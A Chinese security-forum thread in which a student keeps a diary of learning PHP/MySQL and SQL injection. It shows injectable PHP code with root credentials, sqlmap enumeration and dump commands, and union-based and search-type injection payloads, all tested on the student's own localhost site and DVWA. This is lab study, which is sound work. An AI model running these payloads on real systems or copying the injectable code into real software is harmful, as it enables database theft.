安全矩阵

 找回密码
 立即注册
搜索
楼主: Angelica

张欢学习日记

[复制链接]

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-3-25 22:42:30 | 显示全部楼层
今天跟着写了个php链接数据库的代码
代码部分1

  1.         <?php
  2.         $link=mysqli_connect('localhost','root','123456');
  3.        
  4.         if(!$link){
  5.                 exit('数据库连接失败');
  6.         }
  7.        
  8.         mysqli_set_charset($link,'utf8');
  9.        
  10.         mysqli_select_db($link,'php.cn');
  11.        
  12.         $sql="select * from r1se";
  13.        
  14.         $obj=mysqli_query($link,$sql);
  15.        
  16.         echo '<table width="600" border="1">';
  17.         echo '<th>编号</th> <th>姓名</th> <th>生日</th> <th>操作</th>';
  18.        
  19.         while($rows = mysqli_fetch_assoc($obj)){
  20.                 echo'<tr>';
  21.                 echo'<td>'.$rows['序号'].'</td>';
  22.                 echo'<td>'.$rows['姓名'].'</td>';
  23.                 echo'<td>'.$rows['生日'].'</td>';
  24.                 echo'<td><a href="del.php?id='.$rows['序号'].'">删除</a></td>';
  25.         }
  26.         echo '</table>';
  27.        
  28.         mysqli_close($link);
  29.         ?>
复制代码


代码部分2
  1.         <?php       
  2.         $id=$_GET['id'];
  3.         $link=mysqli_connect('localhost','root','123456');
  4.        
  5.         if(!$link){
  6.                 exit('数据库连接失败');
  7.         }
  8.        
  9.         mysqli_set_charset($link,'utf8');
  10.        
  11.         mysqli_select_db($link,'php.cn');
  12.        
  13.         $sql="delete from r1se where 序号=$id";
  14.        
  15.         $boolean=mysqli_query($link,$sql);
  16.                
  17.         if($boolean && mysqli_affected_rows($link)){
  18.                 echo'删除成功<a href="mysqli4.php">返回</a>';
  19.         } else{
  20.                 echo'删除失败';
  21.         }
  22.        
  23.         mysqli_close($link);
  24.        
  25.         ?>
复制代码


中间出现了一些问题,通过百度成功解决。

代码运行结果



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-3-29 22:38:18 | 显示全部楼层
今天:社工作业+python爬虫学习+burpsuite系列(一)(二)
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-11 23:19:52 | 显示全部楼层
本帖最后由 Angelica 于 2020-4-11 23:21 编辑

前段时间由于家里有事,啥也没干。
今天补了之前遗落的一部分网课and完成了数据表的导入。


数据表是通过excel文件导入的,导入过程中遇到了两个问题,一为文件不能打开,二为乱码问题。
第一个问题是通过在微软官网下载AccessDatebaseEngine解决的
第二个问题在百度上找了好几种解决方法,例如将文件改成.csv格式,以及在连接数据库时将编码选成自动,两种方法试过后,发现均无效。
然后我将该数据表存放在了一个之前创建的数据库里面,没有出现乱码问题。
通过翻找我当时创建该数据库的笔记对比发现,没有出现乱码的数据库是因为我之前创建的时候有一行命令为:set names utf8;
当时创建那个数据库的时候是跟着别人的代码敲的,没有细究用意,今天就顺便了解了一下。

然后成功解决了乱码问题。
同时跟着笔记复习了之前学的php链接数据库的方法,明天不出意外应该是设计页面+链接数据表。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-12 23:03:31 | 显示全部楼层
本帖最后由 Angelica 于 2020-4-13 00:29 编辑

低估了我的高代作业,我向高代说声对不起。and仿造百度页面初步完成了页面设计+链接数据库


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-16 18:04:08 | 显示全部楼层
基本完成老师上星期布置的任务



html部分代码
  1. <!doctype html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1.0,uese-scalable=no "/>
  6. <title>欢迎来到测试小站</title>
  7.         <style type="text/css">
  8.         @keyframes bounce {
  9.                 from,20%,53%,80%,
  10.                 to {
  11.                         -webkit-animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
  12.                         transform: translate3d(0, 0, 0);
  13.                         }
  14.                 40%,43% {
  15.                         -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
  16.                         animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
  17.                         -webkit-transform: translate3d(0, -30px, 0);
  18.                         transform: translate3d(0, -30px, 0);
  19.                         }

  20.                 70% {
  21.                         -webkit-animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
  22.                         animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
  23.                         -webkit-transform: translate3d(0, -15px, 0);
  24.                         transform: translate3d(0, -15px, 0);
  25.                         }
  26.                 90% {
  27.                         -webkit-transform: translate3d(0, -4px, 0);
  28.                         transform: translate3d(0, -4px, 0);
  29.                         }
  30.                 }
  31.                
  32.                 .bounce {
  33.                         -webkit-animation-name: bounce;
  34.                         -webkit-transform-origin: center bottom;
  35.                         transform-origin: center bottom;
  36.                 }
  37.                
  38.                 body {
  39.                         background-image:url("用于简历的图片/背景2.jpg");
  40.                         background-position: center;
  41.                         background-repeat: no-repeat;
  42.                 }
  43.                
  44.                 h1{
  45.                         text-align: center;
  46.                         color:dodgerblue;
  47.                         animation:bounce 1s;
  48.                         animation-direction: alternate;
  49.                         animation-iteration-count: 1;
  50.                 }
  51.                
  52.                 #content{
  53.                         height:450px;
  54.                         width:100%;
  55.                         text-align:center;
  56.                         line-height:450px;
  57.                 }
  58.                
  59.                 #search_txt{
  60.                         border:1px solid #b8b8b8;
  61.                         line-height:30px;
  62.                 }
  63.                
  64.                 #search{
  65.                         line-height:30px;
  66.                         border:1px solid #3385ff;
  67.                         background-color: #3385ff;
  68.                         color:white;
  69.                         margin-left:-8px;
  70.                         font_size:16px;
  71.                         width:100px;
  72.                 }
  73.                
  74.         </style>
  75. </head>

  76. <body>
  77.         <h1 >欢迎来到测试小站</h1>
  78.         <form action="mysqli4.php" method="get">
  79.         <div id="content">
  80.         <input type="text" name="text" id="search_txt" size="80"/>
  81.                 <input type="submit" value="Search" id="search" name="submit"/>
  82.         </div>
  83.         </form>
  84. </body>
  85. </html>
复制代码


php部分代码
  1. <!doctype html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1.0,uese-scalable=no "/>
  6. <title>查询结果页面</title>
  7.         <style>
  8.                 body {
  9.                         background-color:antiquewhite
  10.                 }
  11.                 .css {
  12.                         background: lightyellow;
  13.                 }
  14.                 .result{
  15.                         text-align: center;
  16.                 }
  17.         </style>
  18.        
  19. <body>
  20.         <?php
  21.         echo "<h1 class=result>THE RESULT</h1>";
  22.         echo "<div class=css>";

  23.         if(empty($_GET['sunmit'])){
  24.                 $keyword=$_GET['text'];
  25.         }
  26.        
  27.         $link=mysqli_connect('localhost','root','123456');
  28.        
  29.         mysqli_set_charset($link,'utf8');
  30.        
  31.         mysqli_select_db($link,'php.cn');
  32.        
  33.         $sql="select * from 工作表1 where 姓名 like '%{$keyword}%'";
  34.        
  35.         $res=mysqli_query($link,$sql);
  36.                
  37.         echo '<table border="1" style="margin:0 ">';
  38.        
  39.         echo '<th>姓名</th>
  40.         <th>性别</th>
  41.         <th>生日</th>
  42.         <th>年龄</th>
  43.         <th>籍贯</th>
  44.         <th>民族</th>
  45.         <th>QQ</th>
  46.         <th>联系方式</th>
  47.         <th>微信</th>
  48.         <th>爱好</th>
  49.         <th>学历</th>
  50.         <th>所在学院</th>
  51.         <th>专业</th>
  52.         <th>学号</th>
  53.         <th>玩的游戏</th>
  54.         <th>偶像</th>
  55.         <th>抖音号</th>
  56.         <th>微博</th>
  57.         <th>注册过的网站</th>
  58.         <th>外语水平</th>';
  59.        
  60.         while($rows=mysqli_fetch_array($res)){
  61.                 echo '<tr>';
  62.                 echo '<td>'.$rows['姓名'].'</td>';
  63.                 echo '<td>'.$rows['性别'].'</td>';
  64.                 echo '<td>'.$rows['生日'].'</td>';
  65.                 echo '<td>'.$rows['年龄'].'</td>';
  66.                 echo '<td>'.$rows['籍贯'].'</td>';
  67.                 echo '<td>'.$rows['民族'].'</td>';
  68.                 echo '<td>'.$rows['QQ'].'</td>';
  69.                 echo '<td>'.$rows['联系方式'].'</td>';
  70.                 echo '<td>'.$rows['微信'].'</td>';
  71.                 echo '<td>'.$rows['爱好'].'</td>';
  72.                 echo '<td>'.$rows['学历'].'</td>';
  73.                 echo '<td>'.$rows['所在学院'].'</td>';
  74.                 echo '<td>'.$rows['专业'].'</td>';
  75.                 echo '<td>'.$rows['学号'].'</td>';
  76.                 echo '<td>'.$rows['玩的游戏'].'</td>';
  77.                 echo '<td>'.$rows['偶像'].'</td>';
  78.                 echo '<td>'.$rows['抖音号'].'</td>';
  79.                 echo '<td>'.$rows['微博'].'</td>';
  80.                 echo '<td>'.$rows['注册过的网站'].'</td>';
  81.                 echo '<td>'.$rows['外语水平'].'</td>';
  82.         }
  83.                
  84.         echo '</table>';
  85.                
  86.        
  87.         mysqli_close($link);
  88.        
  89.         echo "</div>";
  90.        
  91.         ?>
  92. </body>
  93. </html>
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-20 23:20:47 | 显示全部楼层
今天在看雪论坛上找了sql注入问题视频看,做了一个最最最简单的尝试。将上面php代码部分的
  1. $sql="select * from 工作表1 where 姓名 like '%{$keyword}%' ";
复制代码

改成
  1. $sql="select * from 工作表1 where 姓名 like '%{$keyword}%' or 1=1";
复制代码

同样在搜索框输入“张“,出现的结果变成


同时今天成功安装了sqlmap

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-22 22:34:18 | 显示全部楼层
4.21 & 4.22

昨天和今天看了老师发的微信文章sql注入部分,然后跟着看雪论坛上的一个sql的公开课做,对sql注入了解更深入。
几个简简单单的笔记:
检测是否存在sql注入
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search"
复制代码


列出数据库名称
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" --dbs
复制代码


查看指定数据库的表名称
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" -D php.cn  --tables
复制代码


查看表的具体数据
  1. sqlmap.py -u"http://localhost:85/web/mysqli4.php?text=%E5%BC%A0&submit=Search" -D php.cn  --T r1se --dump
复制代码


今天还在dvwa上进行了sql注入测试,但是不太成功,明天继续这个。
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-26 21:42:46 | 显示全部楼层
在dvwa上进行sql测试的一些笔记
检测是否存在注入
  1. '
复制代码

遍历数据库表
  1. 1 or 1=1
复制代码
  1. 1' or' 1' =' 1
复制代码


查询信息列表长度  注意--后面有空格
  1. order by [num]
复制代码

例如:
  1. 1' order by 1 -- ,1' order by 2 --,1' order by 3 --
复制代码
,到输入n时,页面报错,则查询结果为n-1列

获取数据库名、账户名、版本及操作系统信息
  1. 1' and 1=2 union select user(),database() -- [code]
  2. [code]1' and 1=2 union select version(),database() --
复制代码
  1. 1' and 1=2 union select 1,@@global.version_compile_os from mysql.user --
复制代码


查询mysql数据库所有数据库及表
  1. 1' and 1=2 union select 1,schema_name from information_schema.schemata --
复制代码


猜解表名
  1. 1' and exists(select * from [表名]) --
复制代码


猜解字段名
  1. 1' and exists(select [表名] from users) --
复制代码


注入
  1. 1' and 1=2 union select first_name,last_name from users --
复制代码

回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-27 21:49:40 | 显示全部楼层
本帖最后由 Angelica 于 2020-4-27 21:56 编辑

我们知道,按照注入点类型来分,sql注入包括数字型注入点,字符型注入点以及搜索型注入点。而我的php代码部分的sql语句为
  1. $sql="select * from 工作表1 where 姓名 like '%{$keyword}%'";
复制代码
属于搜索型注入点。今天了解的正是这个。
在博客园上面看到的对搜索型注入点的解释


判断搜索型注入的方法


用来检测是否存在搜索型注入的几种语句
  1. 'and 1=1 and '%'='
  2. %' and 1=1--'
  3. %' and 1=1 and '%'='
复制代码
然后我开始在我自己的网页中进行测试:
在文本框中输入
  1. 张%'and 1=1 and '%'='
复制代码
返回的结果为

输入
  1. 张%'and 1=2 and '%'='
复制代码
返回的结果为


综上,可以判断存在搜索型文本框注入。

在今天的练习中,还出现了如下问题

在百度上查找相同问题后,发现了一个解决方法。在原代码
  1. $res=mysqli_query($link,$sql);
复制代码
之后,加上下列内容
  1. if(!$res){
  2.                 printf("Error:%s\n",mysqli_error($link));
  3.                 exit();
  4.         }
复制代码
就可以判断出代码出错的位置,从而进行修改。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

9

主题

55

帖子

290

积分

中级会员

Rank: 3Rank: 3

积分
290
 楼主| 发表于 2020-4-28 22:42:14 | 显示全部楼层
本帖最后由 Angelica 于 2020-4-28 22:45 编辑

今天进行的是搜索型注入里的POST注入实战。
根据前面,我们知道存在文本框注入,接下来,利用语句
  1. ' order by [num]#
复制代码
猜字段数
逐次更改数字去猜,直到报错为止
由此我们知道,字段数为20
接下来就是利用下面的语句,加上一些常见的表名,来猜解表名
  1. 1' and exists(select * from [表名]) --
复制代码


从报错中,可以知道数据库名为php.cn
如果表名正确的话,返回的界面应该是这样的。

最后利用语句
  1. 'or 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 #
复制代码

获取了数据表的全部内容

同时可以利用语句
  1. 'or 1=1 union select 姓名,性别,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from [表名]#
复制代码
获得我们想要的内容


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 21:10 , Processed in 0.014103 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表